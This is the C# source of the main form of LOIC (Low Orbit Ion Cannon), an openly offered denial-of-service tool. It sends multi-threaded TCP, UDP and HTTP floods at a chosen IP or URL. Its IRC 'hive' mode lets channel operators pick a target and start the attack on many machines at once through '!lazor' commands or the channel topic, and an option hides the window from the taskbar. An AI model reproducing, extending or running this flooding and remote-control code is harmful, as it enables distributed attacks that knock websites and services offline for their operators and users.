frmMain.cs

/* LOIC - Low Orbit Ion Cannon
 * Released to the public domain
 * Enjoy getting v&, kids.
 */

using System;
using System.Net;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Threading;
using System.Text;
using Meebey.SmartIrc4net;

namespace LOIC
{
	public partial class frmMain : Form
	{
		private static XXPFlooder[] xxp;
		private static HTTPFlooder[] http;
		private static string sHost, sIP, sMethod, sData, sSubsite;
		private static int iPort, iThreads, iProtocol, iDelay, iTimeout;
		private static bool intShowStats;
		private IrcClient irc;
		private Thread irclisten;
		private string channel;
		private static bool ircenabled = false;
		private Dictionary<string, string> OpList;
		private delegate void CheckParamsDelegate(List<string> pars);
		public frmMain(bool hive, bool hide, string ircserver, string ircport, string ircchannel)
		{
			InitializeComponent();
			/* IRC */
			if (ircserver != "") {txtIRCserver.Text = ircserver;}
			if (ircport != "") {txtIRCport.Text = ircport;}
			if (ircchannel != "") {txtIRCchannel.Text = ircchannel;}
			/* Lets try this! */
			if ( hide )
			{
			    this.WindowState = FormWindowState.Minimized;
			    this.ShowInTaskbar = false;
			}
			this.FormClosing += frmMain_Closing;
			if (hive) enableHive.Checked = true;
			if (!hive) disableHive.Checked = true;
		}
        private void Attack(bool toggle, bool on, bool silent)
        {
            if ((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
            {
                try
                {
                    try { iPort = Convert.ToInt32(txtPort.Text); }
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

                    try { iThreads = Convert.ToInt32(txtThreads.Text); }
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

                    sIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
                        throw new Exception("Select a target.");

                    if ( String.IsNullOrEmpty(sHost) ) sHost = sIP;
                    if ( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost);
                    sHost = new Uri(sHost).Host;

                    iProtocol = 0;
                    sMethod = cbMethod.Text;
                    if (String.Equals(sMethod, "TCP")) iProtocol = 1;
                    if (String.Equals(sMethod, "UDP")) iProtocol = 2;
                    if (String.Equals(sMethod, "HTTP")) iProtocol = 3;
                    if (iProtocol == 0)
                        throw new Exception("Select a proper attack method.");

                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (iProtocol == 3))
                        throw new Exception("You have to enter a subsite (for example \"/\")");

                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); }
                }
                catch (Exception ex)
                {
                    if (silent) return;
                    new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return; 
                }
                cmdAttack.Text = "Stop flooding";

                if (String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))
                {
                    xxp = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
                        xxp[a].Start();
                    }
                }
                if (String.Equals(sMethod, "HTTP"))
                {
                    http = new HTTPFlooder[iThreads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        http[a].Start();
                    }
                }

                tShowStats.Start();
            }
            else if (toggle == true || on == false)
            {
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (xxp != null)
                {
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a].IsFlooding = false;
                    }
                }
                if (http != null)
                {
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a].IsFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
        private void LockOnIP(bool silent)
        {
            if (txtTargetIP.Text.Length == 0)
            {
                if (silent) return;
                new frmWtf().Show();
                MessageBox.Show("I think you forgot the IP.", "What the shit.");
                return;
            }
            txtTarget.Text = txtTargetIP.Text;
            sHost = txtTargetIP.Text;
        }
        private void LockOnURL(bool silent)
        {
            sHost = txtTargetURL.Text.ToLower();
            if ( String.IsNullOrEmpty(sHost) )
            {
                if (silent) return;
                new frmWtf().Show();
                MessageBox.Show("A URL is fine too...", "What the shit.");
                return;
            }
            if ( !sHost.StartsWith("http://") && !sHost.StartsWith("https://") ) sHost = String.Concat("http://", sHost);
            try { txtTarget.Text = Dns.GetHostEntry(new Uri(sHost).Host).AddressList[0].ToString(); }
            catch
            {
                if (silent) return;
                new frmWtf().Show();
                MessageBox.Show("The URL you entered does not resolve to an IP!", "What the shit.");
                return;
            }
        }
        private void DoHive(bool enabled)
        {
            try
            {
                // Is everything ok?
                if ((txtIRCserver.Text == "" || txtIRCchannel.Text == "") && enabled)
                {
                    disableHive.Checked = true;
                }
                else if (enabled)
                {
                    try { IPHostEntry ipHost = Dns.GetHostEntry(txtIRCserver.Text); }
                    catch { disableHive.Checked = true; }
                }
                if (disableHive.Checked && enabled)
                {
                    new frmWtf().Show();
                    MessageBox.Show("Did you filled IRC options correctly?", "What the shit.");
                    return;
                }

                // We are starting connection. Disable input in IRC boxes.
                txtIRCserver.Enabled = !enabled;
                txtIRCport.Enabled = !enabled;
                txtIRCchannel.Enabled = !enabled;

                // Lets try this!
                ircenabled = enabled;
                if (enabled)
                {
                    label25.Text = "Connecting..";
                    irc = new IrcClient();
                    irc.OnConnected += IrcConnected;
                    irc.OnReadLine += OnReadLine;
                    irc.OnChannelMessage += OnMessage;
                    irc.OnOp += OnOp;
                    irc.OnDeop += OnDeOp;
                    irc.OnPart += OnPart;
                    irc.OnNickChange += OnNickChange;
                    irc.OnTopic += OnTopic;
                    irc.OnTopicChange += OnTopicChange;
                    irc.OnQuit += OnQuit;
                    irc.OnKick += OnKick;
                    irc.OnDisconnected += IrcDisconnected;
                    irc.OnNames += OnNames;
                    irc.AutoRejoinOnKick = true;
                    irc.AutoRejoin = true;
                    try
                    {
                        int port;
                        if (!int.TryParse(txtIRCport.Text, out port)) port = 6667;
                        irc.Connect(txtIRCserver.Text, port);
                        channel = txtIRCchannel.Text.ToLower();

                        // irc.WriteLine(Rfc2812.Nick("loicbot"),Priority.Critical);
                        // irc.WriteLine(Rfc2812.User("loic", 0, "ACSLaw"),Priority.Critical);

                        irc.Login("LOIC_" + new Functions().RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC");

                        //Spawn a fuckign thread to handle the listen.. why!?!?
                        irclisten = new Thread(new ThreadStart(IrcListenThread));
                        irclisten.Start();
                    }
                    catch
                    { }
                }
                else
                {
                    try
                    {
                        if (irc != null) irc.Disconnect();
                    }
                    catch
                    { }
                    label25.Text = "Disconnected.";
                }
            }
            catch
            { }
        }
        private void IrcListenThread()
        {
            while (ircenabled)
            {
                irc.Listen();
            }
        }
        private void IrcDisconnected(object o, EventArgs e)
        {
            if (ircenabled)
            {
                try
                {
                    int port;
                    if (!int.TryParse(txtIRCport.Text, out port)) port = 6667;
                    irc.Connect(txtIRCserver.Text, port);
                    irc.Login("LOIC_" + new Functions().RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC");
                }
                catch
                { }
            }
        }
        private void IrcConnected(object o, EventArgs e)
        {
            label25.Text = "Logging In...";
        }
        private delegate void AddListBoxItemDelegate(object sender, ReadLineEventArgs e);
        void OnNames(object sender, NamesEventArgs e)
        {
            SetStatus("Connected!");
            if (OpList != null)
            {
                OpList.Clear();
            }
            else
            {
                if (OpList == null) OpList = new Dictionary<string, string>();
            }

            foreach (string user in e.UserList)
            {
                if (user.StartsWith("@") || user.StartsWith("&") || user.StartsWith("~"))
                {
                    
                    OpList.Add(user.Substring(1), "");
                }
            }
        }
        void OnOp(object sender, OpEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (!OpList.ContainsKey(e.Whom))
            {
                OpList.Add(e.Whom, "");
            }
        }
        void OnDeOp(object sender, DeopEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Whom))
            {
                OpList.Remove(e.Whom);
            }
        }
        void OnPart(object sender, PartEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey( e.Who))
            {
                OpList.Remove(e.Who);
            }
        }
        void OnQuit(object sender, QuitEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Who))
            {
                OpList.Remove(e.Who);
            }
        }
        void OnTopic(object sender, TopicEventArgs e)
        {
            if (e.Channel.ToLower() == channel && e.Topic.StartsWith("!lazor "))
            {
                List<string> pars = new List<string>(e.Topic.Split(' '));
                SetStatus("Controlled by topic");
                try
                {
                    txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
                }
                catch
                { }
            }
        }
        void OnTopicChange(object sender, TopicChangeEventArgs e)
        {
            if (e.Channel.ToLower() == channel && e.NewTopic.StartsWith("!lazor "))
            {
                List<string> pars = new List<string>(e.NewTopic.Split(' '));
                SetStatus("Controlled by topic");
                try
                {
                    txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
                }
                catch
                { }
            }
        }
        void OnNickChange(object sender, NickChangeEventArgs e)
        {
            if (OpList.ContainsKey(e.OldNickname))
            {
                OpList.Remove(e.OldNickname);
            }
            if (!OpList.ContainsKey(e.NewNickname))
            {
                OpList.Add(e.NewNickname, "");
            }
        }
        void OnKick(object sender, KickEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Whom))
            {
                OpList.Remove(e.Whom);
            }
        }
        private delegate void SetStatusDelegate(string status);
        void SetStatus(string status)
        {
            if (label25.InvokeRequired)
            {
                label25.Invoke(new SetStatusDelegate(SetStatus), status);
            }
            else
            {
                label25.Text = status;
            }
        }
        void OnMessage(object sender, IrcEventArgs e)
        {
            if (e.Data.Channel.ToLower() == channel)
            {
                if (e.Data.Message.StartsWith("!lazor "))
                {
                    //authenticate
                    if (OpList != null && OpList.ContainsKey(e.Data.Nick))
                    {
                        List<string> pars = new List<string>(e.Data.Message.Split(' '));
                        SetStatus("Controlled by "+e.Data.Nick);
                        try
                        {
                            txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
                        }
                        catch
                        { }
                    }
                }
            }
        }
        void CheckParams(List<string> pars)
        {
            Attack(false, false, true);

            foreach (string param in pars)
            {
                string[] sp = param.Split('=');
                if (sp.Length > 1)
                {
                    string cmd = sp[0];

                    // Have fun finding value :)
                    string value = null;
                    for (int key = 0; key < sp.Length; ++key)
                    {
                        if (key >= 1)
                        {
                            value = value + sp[key] + ( (key+1 < sp.Length) ? "=" : null);
                        }
                    }
                    // ... and we got it :D

                    int num;
                    bool isnum;
                    switch (cmd.ToLower())
                    {
                        case "targetip":
                            txtTargetIP.Text = value;
                            LockOnIP(true);
                            break;
                        case "targethost":
                            txtTargetURL.Text = value;
                            LockOnURL(true);
                            break;
                        case "timeout":
                            isnum = int.TryParse(value, out num);
                            if (isnum)
                            {
                                txtTimeout.Text = num.ToString();
                            }
                            break;
                        case "subsite":
                            txtSubsite.Text = value;
                            break;
                        case "message":
                            txtData.Text = value;
                            break;
                        case "port":
                            txtPort.Text = value;
                            break;
                        case "method":
                            int index = cbMethod.FindString(value);
                            if (index != -1) { cbMethod.SelectedIndex = index; }
                            break;
                        case "threads":
                            isnum = int.TryParse(value, out num);
                            if (isnum && num < 100) //let's protect them a bit, yeah?
                            {
                                txtThreads.Text = num.ToString();
                            }
                            break;
                        case "wait":
                            if (value.ToLower() == "true")
                            {
                                chkWaitReply.Checked = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                chkWaitReply.Checked = false;
                            }
                            break;
                        case "random":
                            if (value.ToLower() == "true")
                            {
                                chkAllowRandom.Checked = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                chkAllowRandom.Checked = false;
                            }
                            break;
                        case "gzip":
                            if (value.ToLower() == "true")
                            {
                                chkAllowGzip.Checked = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                chkAllowGzip.Checked = false;
                            }
                            break;
                            case "speed":
                            isnum = int.TryParse(value, out num);
                            if (isnum && num >= 0 && num <= 20) //let's protect them a bit, yeah?
                            {
                                tbSpeed.Value = num;
                            }
                            break;
                    }
                }
                else
                {
                    if (sp[0].ToLower() == "start")
                    {
                        Attack(false, true, true);
                        return;
                    }
                    else if (sp[0].ToLower() == "default")
                    {
                         txtTargetIP.Text = "";
                         txtTargetURL.Text ="";
                         txtTimeout.Text = "9001";
                         txtSubsite.Text = "/";
                         txtData.Text = "U dun goofed";
                         txtPort.Text = "80";
                         int index = cbMethod.FindString("TCP");
                         if (index != -1) { cbMethod.SelectedIndex = index; }
                         txtThreads.Text = "10";
                         chkWaitReply.Checked = true;
                         chkAllowRandom.Checked = false;
                         chkAllowGzip.Checked = true;
                         tbSpeed.Value = 0;
                    }
                }
            }
            SetStatus("Waiting.");
        }
        void OnReadLine(object sender, ReadLineEventArgs e)
        {
            string command = e.Line.Split(' ')[1];
            if ( command.Equals("PING") )
            {
                string server = e.Line.Split(' ')[2];
                irc.WriteLine("PONG " + server, Priority.Critical);
            }
            else if ( command.Equals("422") || command.Equals("376") ) // 422: motd missing // 376: end of motd
            {
                if (OpList != null) OpList.Clear();
                irc.RfcJoin(channel);
            }
        }
		private void frmMain_Load(object sender, EventArgs e)
		{
			this.Text = String.Format("{0} | U dun goofed | v. {1}", Application.ProductName, Application.ProductVersion);
		}
        private void frmMain_Closing(object sender, FormClosingEventArgs e)
        {
            try
            {
                ircenabled = false;
                if (irclisten != null) irclisten.Abort();
                if (irc != null) irc.Disconnect();
            }
            catch
            { }
            finally
            {
                Environment.Exit(0);
            }
        }
		private void cmdTargetURL_Click(object sender, EventArgs e)
		{
            LockOnURL(false);
		}
		private void cmdTargetIP_Click(object sender, EventArgs e)
		{
            LockOnIP(false);
		}
		private void txtTarget_Enter(object sender, EventArgs e)
		{
			cmdAttack.Focus();
		}
		private void cmdAttack_Click(object sender, EventArgs e)
		{
            Attack(true, false, false);
		}
		private void tShowStats_Tick(object sender, EventArgs e)
		{
			if (intShowStats) return; intShowStats = true;

			bool isFlooding = false;
			if (cmdAttack.Text == "Stop for now") isFlooding = true;
			if (iProtocol == 1 || iProtocol == 2)
			{
				int iFloodCount = 0;
				for (int a = 0; a < xxp.Length; a++)
				{
					iFloodCount += xxp[a].FloodCount;
				}
				lbRequested.Text = iFloodCount.ToString();
			}
			if (iProtocol == 3 && http != null)
			{
				int iIdle = 0;
				int iConnecting = 0;
				int iRequesting = 0;
				int iDownloading = 0;
				int iDownloaded = 0;
				int iRequested = 0;
				int iFailed = 0;

				for (int a = 0; a < http.Length; a++)
				{
					iDownloaded += http[a].Downloaded;
					iRequested += http[a].Requested;
					iFailed += http[a].Failed;
					if (http[a].State == HTTPFlooder.ReqState.Ready ||
						http[a].State == HTTPFlooder.ReqState.Completed)
						iIdle++;
					if (http[a].State == HTTPFlooder.ReqState.Connecting)
						iConnecting++;
					if (http[a].State == HTTPFlooder.ReqState.Requesting)
						iRequesting++;
					if (http[a].State == HTTPFlooder.ReqState.Downloading)
						iDownloading++;
					if (isFlooding && !http[a].IsFlooding)
					{
						int iaDownloaded = http[a].Downloaded;
						int iaRequested = http[a].Requested;
						int iaFailed = http[a].Failed;
						http[a] = null;
						http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
						http[a].Downloaded = iaDownloaded;
						http[a].Requested = iaRequested;
						http[a].Failed = iaFailed;
						http[a].Start();
					}
				}
				lbFailed.Text = iFailed.ToString();
				lbRequested.Text = iRequested.ToString();
				lbDownloaded.Text = iDownloaded.ToString();
				lbDownloading.Text = iDownloading.ToString();
				lbRequesting.Text = iRequesting.ToString();
				lbConnecting.Text = iConnecting.ToString();
				lbIdle.Text = iIdle.ToString();
			}

			intShowStats = false;
		}
		private void tbSpeed_ValueChanged(object sender, EventArgs e)
		{
			iDelay = tbSpeed.Value;
			if (http != null)
			{
				for (int a = 0; a < http.Length; a++)
				{
					if (http[a] != null) http[a].Delay = iDelay;
				}
			}
			if (xxp != null)
			{
				for (int a = 0; a < xxp.Length; a++)
				{
					if (xxp[a] != null) xxp[a].Delay = iDelay;
				}
			}
		}
        private void enableHive_CheckedChanged(object sender, EventArgs e)
        {
            if (enableHive.Checked)
            {
                DoHive(true);
            }
        }
        private void disableHive_CheckedChanged(object sender, EventArgs e)
        {
            if (disableHive.Checked)
            {
                DoHive(false);
            }
        }
        private void label24_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("http://github.com/NewEraCracker/LOIC");
        }

	}
}